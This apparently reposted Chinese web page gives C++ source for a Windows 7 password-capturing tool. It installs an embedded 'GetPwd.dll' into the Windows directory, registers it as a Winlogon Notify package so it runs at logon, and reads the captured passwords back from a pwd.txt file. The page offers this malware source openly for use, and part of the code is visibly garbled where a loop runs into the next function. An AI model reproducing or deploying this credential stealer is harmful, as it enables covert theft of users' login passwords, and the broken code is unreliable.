基于VC++2010实现截获Windows 7密码
Windows外壳,安装Windows密码截获器
void dey()//解密{printf("/r/n请不要移动原密码文件!");system("pause");char buffer[10000];ZeroMemory(buffer,10000);char LogPath[255] = {0};GetSystemDirectory( LogPath , MAX_PATH);lstrcat( LogPath, "//pwd.txt");HANDLE hfile = CreateFile(LogPath,GENERIC_READ, FILE_SHARE_WRITE,0,OPEN_ALWAYS,FILE_ATTRIBUTE_NORMAL,0);if(!hfile){printf("打开文件失败!");return;}DWORD st;int a=ReadFile(hfile,buffer,10000,&st,0);if(!a){printf("读取失败!");return;}for(int i = 0;i判断是否已经安装void installe() //安装函数{if(installed()){printf("已经安装过了!");return; }HRSRC hResInfo;HGLOBAL hResData;DWORD dwSize, dwWritten;LPBYTE p;HANDLE hFile;hResInfo = FindResource(NULL, MAKEINTRESOURCE(IDR_DLL1), "dll");dwSize = SizeofResource(NULL, hResInfo);hResData = LoadResource(NULL, hResInfo);p = (LPBYTE)GlobalAlloc(GPTR, dwSize);CopyMemory((LPVOID)p, (LPCVOID)LockResource(hResData), dwSize);//定位资源char pfile[200];GetWindowsDirectory(pfile, 200);strcat(pfile,"//GetPwd.dll");//C:/WINDOWS/hFile = CreateFile(pfile, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, 0, NULL);WriteFile(hFile, (LPCVOID)p,dwSize, &dwWritten, NULL);CloseHandle(hFile);GlobalFree((HGLOBAL)p);HKEY hkey; if(ERROR_SUCCESS==RegCreateKey(HKEY_LOCAL_MACHINE,"SOFTWARE//Microsoft//Windows NT//CurrentVersion//Winlogon//Notify//GetPwd//",&hkey)){char * name3 ="dog"; RegSetValueEx(hkey,"dllname",0,REG_SZ,(const unsigned char *)pfile,strlen(pfile));RegSetValueEx(hkey,"startup",0,REG_SZ,(const unsigned char *)name3,strlen("dog"));printf("安装成功!");}else{printf("安装失败!");return;}}bool installed(){HKEY hkey; char sz[256]; DWORD dwtype, sl = 256; if(ERROR_SUCCESS != RegOpenKeyEx(HKEY_LOCAL_MACHINE, "SOFTWARE//Microsoft//Windows NT//CurrentVersion//Winlogon//Notify//GetPwd",NULL, KEY_ALL_ACCESS, &hkey) //打开失败,表示没有安装){RegCloseKey(hkey); return false;}RegCloseKey(hkey); return true;}void usag()//用法提示{printf("example:/r/n");printf("/r/n Install: getpwd.exe installe");printf("/r/n Decryp : getpwd.exe Decryp /r/n");}int main(int argc, char* argv[]){if(!lstrcmpi(argv[1],"installe"))//{installe();return 0;}else if(!lstrcmpi(argv[1], "Decryp")){dey();return 0;}usag();return 0;}
密码截获
版权声明:本文内容由网络用户投稿,版权归原作者所有,本站不拥有其著作权,亦不承担相应法律责任。如果您发现本站中有涉嫌抄袭或描述失实的内容,请联系我们jiasou666@gmail.com 处理,核实后本网站将在24小时内删除侵权内容。
暂时没有评论,来抢沙发吧~